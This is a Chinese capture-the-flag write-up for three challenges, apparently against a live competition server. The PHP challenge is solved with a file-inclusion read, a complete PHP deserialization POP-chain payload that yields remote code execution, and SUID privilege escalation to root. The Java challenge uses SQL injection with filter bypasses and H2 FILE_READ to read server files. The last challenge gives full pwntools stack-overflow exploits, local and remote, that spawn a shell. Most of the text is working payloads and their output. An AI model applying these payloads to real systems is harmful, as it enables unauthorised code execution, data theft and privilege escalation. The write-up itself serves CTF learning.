url = BASE + download + "/" + name
r = s.get(url, allow_redirects=False)

text = r.content.decode("utf-8", errors="ignore")
text = text.replace("\x00", "\n")

if r.status_code == 200 and "File not found" not in text:
print("\n" + "=" * 80)
print("[name]", name)
print("[target]", path)
print("[url]", url)
print("[status]", r.status_code)
print(text[:3000])

low = text.lower()
if "flag{" in low or "ctf{" in low or "jxnu" in low:
print("\n[!!!] 这里可能有 flag")

1
GZCTF_FLAG=FCTF{a6ef922a-dc0e-461d-936f-f5835722a543}

铁链子

01. 发现文件包含 / 路径遍历

一开始通过 filename 参数访问页面:

1
http://ctf.jxnusec.cn:32872/index.php?filename=index.html

随后测试读取系统文件:

1
http://ctf.jxnusec.cn:32872/index.php?filename=../../../../etc/passwd

成功读取到 /etc/passwd,说明存在文件包含 / 路径遍历问题。

关键判断:

  • filename 参数被直接用于 include()
  • 可以读取系统文件;
  • 说明后续可以继续读取源码文件。

2. 使用 php://filter 读取源码

PHP 文件如果直接 include,通常会被执行,不会显示源码。因此使用 php://filter 将源码 base64 编码输出。

读取 index.php

1
http://ctf.jxnusec.cn:32872/index.php?filename=php://filter/read=convert.base64-encode/resource=index.php

解码后得到核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

if (isset($_GET['filename']) && isset($_POST['u'])) {
header('Location: /index.php?filename=index.html');
exit;
}

if (isset($_GET['filename'])) {
$filename = $_GET['filename'];
if (stripos($filename, 'waf.php') !== false) {
die('Access denied');
}
include($filename);
exit;
}

if (isset($_POST['u'])) {
include('waf.php');
include('classes.php');
$u = $_POST['u'];
waf($u);
unserialize($u);
}

这里有两个重点:

  1. 如果 URL 里带了 filename=,程序会直接 include($filename)exit
  2. 反序列化入口在 POST 参数 u
1
unserialize($_POST['u']);

因此触发反序列化时,URL 不能再带 filename=

正确入口为:

1
http://ctf.jxnusec.cn:32872/index.php

POST Body 里传:

1
u=序列化payload

3. 读取 classes.php

继续用 php://filter 读取 classes.php

1
http://ctf.jxnusec.cn:32872/index.php?filename=php://filter/read=convert.base64-encode/resource=classes.php

解码后发现多个类:

  • Formatter
  • Logger
  • Command
  • Config
  • Resolver
  • Banner
  • Database
  • Router

其中关键魔术方法如下。

1
2
3
4
5
6
7
8
class Banner {
public $output = 'welcome';

public function __destruct() {
echo "Banner::__destruct()</br>";
echo $this->output;
}
}

对象销毁时会输出 $this->output

如果 $output 是对象,会触发对象的 __toString()

Formatter::__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Formatter {
public $content;

public function __toString() {
echo "Formatter::__toString()</br>";

if (is_string($this->content)) {
return $this->content;
} else {
var_dump($this->content);
return "";
}
}
}

$content 不是字符串时,会执行:

1
var_dump($this->content);

如果这里传入 Logger 对象,就会触发 Logger::__debugInfo()

Logger::__debugInfo()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Logger {
public $logger = array("errorKey" => "someUnexpectedError");

public function __debugInfo() {
echo "Logger::__debugInfo()</br>";
if (empty($this->logger->errorKey)) {
echo "1</br>";
return array("error" => $this->logger);
} else {
echo "2</br>";
return array("error" => "Log value is not set");
}
}
}

关键点:

1
empty($this->logger->errorKey)

如果 $this->loggerResolver 对象,则访问不存在属性 errorKey 时,会触发 Resolver::__isset()

Resolver::__isset()

1
2
3
4
5
6
7
8
9
class Resolver {
public $callback;

public function __isset($name) {
echo "Resolver::__isset($name)</br>";
$callback = $this->callback;
$callback();
}
}

这里会把 $callback 当函数调用。

如果 $callbackCommand 对象,就会触发 Command::__invoke()

Command::__invoke()

1
2
3
4
5
6
7
8
9
10
11
12
class Command {
public $factory;
public $payload;

public function __invoke() {
echo "Command::__invoke()</br>";
$factory = (string)$this->factory;
$payload = (string)$this->payload;

$factory("", $payload);
}
}

这里可以令:

1
2
$factory = "create_function";
$payload = "}eval($_POST['c']);//";

最终效果类似:

1
create_function("", "}eval($_POST['c']);//");

通过闭合函数体,达到执行 POST 参数 c 中 PHP 代码的效果。


4. 构造 POP 链

完整调用链:

1
2
3
4
5
6
7
8
9
Banner::__destruct()
-> echo $this->output
-> Formatter::__toString()
-> var_dump($this->content)
-> Logger::__debugInfo()
-> empty($this->logger->errorKey)
-> Resolver::__isset('errorKey')
-> Command::__invoke()
-> create_function('', payload)

对应对象结构:

1
2
3
4
5
6
7
Banner
└── output = Formatter
└── content = Logger
└── logger = Resolver
└── callback = Command
├── factory = create_function
└── payload = }eval($_POST["c"]);//

最终使用的通用 payload:

1
u=O:6:"Banner":1:{s:6:"output";O:9:"Formatter":1:{s:7:"content";O:6:"Logger":1:{s:6:"logger";O:8:"Resolver":1:{s:8:"callback";O:7:"Command":2:{s:7:"factory";S:15:"\63\72\65\61\74\65\5f\66\75\6e\63\74\69\6f\6e";s:7:"payload";S:21:"\7d\65\76\61\6c\28\24\5f\50\4f\53\54\5b\22\63\22\5d\29\3b\2f\2f";}}}}}&c=echo "PING";

其中:

1
\63\72\65\61\74\65\5f\66\75\6e\63\74\69\6f\6e

对应:

1
create_function
1
\7d\65\76\61\6c\28\24\5f\50\4f\53\54\5b\22\63\22\5d\29\3b\2f\2f

对应:

1
}eval($_POST["c"]);//

测试成功后,页面出现:

1
2
3
4
5
6
Banner::__destruct()
Formatter::__toString()
Logger::__debugInfo()
Resolver::__isset(errorKey)
Command::__invoke()
PING

说明反序列化链已打通。


5. 确认命令执行

通过 POST 参数 c 执行命令:

1
&c=system('id;whoami');

确认当前 Web 用户为:

1
2
uid=82(www-data)
whoami: www-data

接着扫描根目录:

1
&c=system('var_dump(scandir("/"));');

或直接执行 PHP:

1
var_dump(scandir('/'));

发现根目录下存在:

1
/flag

6. /flag 无法直接读取

尝试直接读取:

1
&c=system('cat /flag');

未成功。

进一步检查:

1
&c=var_dump(is_file('/flag'), is_readable('/flag'), filesize('/flag'));

结果:

1
2
3
bool(true)
bool(false)
int(43)

说明:

  • /flag 是普通文件;
  • 文件大小为 43 字节,很像就是 flag;
  • 但当前 PHP / Web 用户不可读。

再看权限:

1
&c=system('id;whoami;ls -l /flag;cat /flag');

输出类似:

1
2
uid=82(www-data)
-r-------- 1 root root 43 /flag

结论:/flag 是 root 权限文件,www-data 不能直接读取。


7. 查找 SUID 程序

因为 /flag 只能 root 读,所以继续找 SUID-root 程序:

1
&c=system('find / -perm -4000 -type f -ls 2>/dev/null');

发现关键文件:

1
/usr/local/bin/syscheck

权限类似:

1
-rwsr-xr-x 1 root root ... /usr/local/bin/syscheck

说明它是 SUID-root 程序,执行时可能拥有 root 权限。


8. 分析 /usr/local/bin/syscheck

查看字符串:

1
&c=system('strings -a /usr/local/bin/syscheck | grep -E "bash|sh|PATH|exec|system|cat|flag|check|ps|id|date|whoami|ls|service"');

回显中出现:

1
2
3
4
5
6
7
bash
/bin/bash
/bin/sh
execl
execvp
PATH
cat

说明 syscheck 很可能会启动 shell 或调用命令。


9. 最终利用 syscheck 读取 /flag

最后尝试向 syscheck 的标准输入中传入命令:

1
&c=system('echo START;printf "id\n/bin/cat /fl""ag\nexit\n" | /usr/local/bin/syscheck;echo END');

这里 /flag 被写成:

1
/fl""ag

原因是绕过可能的 WAF 关键字检测。

Shell 实际执行时会自动拼接成:

1
/flag

最终页面输出:

1
START uid=0(root) gid=0(root) groups=82(www-data),82(www-data) FCTF{b290d7-764f-463-a5d-94e1d85f600} END

说明:

  • syscheck 中执行的命令拿到了 root 权限;
  • /flag 成功被 /bin/cat 读取;
  • 题目完成。

10. 最终完整请求形式

URL:

1
http://ctf.jxnusec.cn:32872/index.php

POST Body:

1
u=O:6:"Banner":1:{s:6:"output";O:9:"Formatter":1:{s:7:"content";O:6:"Logger":1:{s:6:"logger";O:8:"Resolver":1:{s:8:"callback";O:7:"Command":2:{s:7:"factory";S:15:"\63\72\65\61\74\65\5f\66\75\6e\63\74\69\6f\6e";s:7:"payload";S:21:"\7d\65\76\61\6c\28\24\5f\50\4f\53\54\5b\22\63\22\5d\29\3b\2f\2f";}}}}}&c=system('echo START;printf "id\n/bin/cat /fl""ag\nexit\n" | /usr/local/bin/syscheck;echo END');

ezjava

这个题目进去随便看看其实没什么 先随便登录一下然后去看message

这个题目xss了好久 然后那个post按钮还坏掉饿了

攻击入口是 /api/internal/search 用 get传参keyword 用到通配符可以查询内部笔记

  • Server Config: Tomcat 8.5 + JDK 8 with Shiro 1.7.0

  • static INFO: PATH /usr/local/tomcat/webapps/static

  • DB Info: H2 embedded database, jdbc:h2:file:~/ctf_data

  • Backup: Regular backup at /backup/ctf_backup.sql

  • API Keys: Internal API: /api/internal/search for notes lookup

    一个sql 里面有个H2database

    waf了好多东西 常用的烂了好多 回显Request blocked by security filter

最后是采用了大小写绕过还有/**/注释分隔

先插表格

1
keyword=a'/**/uNIon/**/sELect/**/tABle_name,2,3/**/frOm/**/iNFORMATION_sCHEMA.tABles/**/wHEre/**/tABle_sCHEMA='PUBLIC'--

得到这个ADMIN_USERS INTERNAL_NOTES

然后查看ADMIN表格 哭找到管理员账号

1
2
3
keyword=a'/**/uNIon/**/sELect/**/tABle_name,cOLumn_name,3/**/frOm/**/iNFORMATION_sCHEMA.cOLumns--

keyword=a'/**/uNIon/**/sELect/**/id,uSERNAME,pASSWORD/**/frOm/**/aDMIN_uSERS--

找到了这个admin YWRtaW4xMjM= (admin123)

hacker123 hackpass

H2数据库内置 FILE_READ() 函数,可以读取服务器文件系统上的文件

payload:

1
keyword=a'/**/uNIon/**/sELect/**/fILE_rEAD('/flag'),2,3--
1
2
3
4
5
6
7
8
9
{
"count": 1,
"results": [{
"author": "3",
"title": "464354467b666153744a73306e5f31735f734f5f653073595f4132645f5371495f74304f7d0a",
"content": "2"
}],
"status": "ok"
}

得到这个返回

解码之后找到了flag

FCTF{faStJs0n_1s_sO_e0sY_A2d_SqI_t0O}

最后就是一个pwn题目了

这个是基本ai的但是找不到对话了 在kali上装了点工具

后面感觉可以看看一看

1. 准备工具

推荐用 Linux / Ubuntu / Kali。需要这些工具:

1
2
3
bashsudo apt update
sudo apt install -y python3 python3-pip gdb file binutils
pip3 install pwntools

可选增强工具:

1
2
3
4
bash


pip3 install ropper

如果你用的是 pwndbg,也可以装 pwndbg,不过这题不必须。


2. 整理文件名

你上传的文件名字有点乱,真正对应关系是:

1
2
3
textDockerfile  -> 真正的 pwn 程序
pwn -> 真正的 libc.so.6
libc.so.6 -> 真正的 ld-linux-x86-64.so.2

所以先新建目录整理:

1
2
3
4
5
6
bashmkdir solve
cp Dockerfile solve/pwn
cp pwn solve/libc.so.6
cp libc.so.6 solve/ld-linux-x86-64.so.2
cd solve
chmod +x pwn libc.so.6 ld-linux-x86-64.so.2

3. 检查保护

1
2
3
4
bash


checksec ./pwn

如果 checksec 没有,可以用 pwntools 自带方式:

1
2
3
4
bash


python3 -c "from pwn import *; ELF('./pwn').checksec()"

这题关键保护大概是:

1
2
3
textNo PIE
No Canary
NX enabled

重点是:

1
2
textNo PIE:函数地址固定
No Canary:可以直接栈溢出覆盖返回地址

4. 找后门函数

strings 看一下:

1
2
3
4
bash


strings -tx ./pwn | grep -E "debug|/bin/sh|choice"

你会看到:

1
2
3
text2008 //This interface is for debugging purposes only!!!
203b /bin/sh
20b0 Tell the bartender your choice:

再用 objdump 找调用 system("/bin/sh") 的地方:

1
2
3
4
bash


objdump -d -Mintel ./pwn | grep -A30 "401256"

关键地址是:

1
2
textwin 函数地址:0x401256
ret gadget: 0x4011a4

5. 漏洞点

程序里这里有栈溢出:

1
2
cchar buf[0x10];
read(0, buf, 0x100);

buf 只有 0x10 字节,但是读了 0x100 字节。

覆盖返回地址偏移:

1
2
3
text0x10 buf
+0x8 saved rbp
= 0x18 = 24

所以 payload 是:

1
2
3
4
text


"A" * 24 + ret + win

其中加 ret 是为了栈对齐,不加有可能 system 崩掉。


6. 本地 exp

solve 目录下新建 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pythonfrom pwn import *

context.arch = "amd64"
context.log_level = "debug"

io = process([
"./ld-linux-x86-64.so.2",
"--library-path", ".",
"./pwn"
])

ret = 0x4011a4
win = 0x401256

payload = b"A" * 24
payload += p64(ret)
payload += p64(win)

io.sendlineafter(b"Tell the bartender your choice: ", payload)

io.interactive()

运行:

1
2
3
4
bash


python3 exp.py

成功后会进入 shell。然后输入:

1
2
3
bashid
ls
cat flag

7. 远程 exp

假设题目远程地址是:

1
2
3
4
text


host:port

比如:

1
2
3
4
text


node.example.com:9999

那 exp 改成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pythonfrom pwn import *

context.arch = "amd64"
context.log_level = "debug"

io = remote("node.example.com", 9999)

ret = 0x4011a4
win = 0x401256

payload = b"A" * 24
payload += p64(ret)
payload += p64(win)

io.sendlineafter(b"Tell the bartender your choice: ", payload)

io.interactive()

运行:

1
2
3
4
bash


python3 exp.py

进去以后:

1
2
3
4
bash


cat flag

这题一句话思路

菜单里有一个 read(0, buf, 0x100),但是 buf 只有 0x10,所以输入 24 字节垃圾数据覆盖返回地址,再跳到隐藏函数 0x401256,它里面直接执行:

1
2
3
4
c


system("/bin/sh");

最终拿 shell,然后 cat flag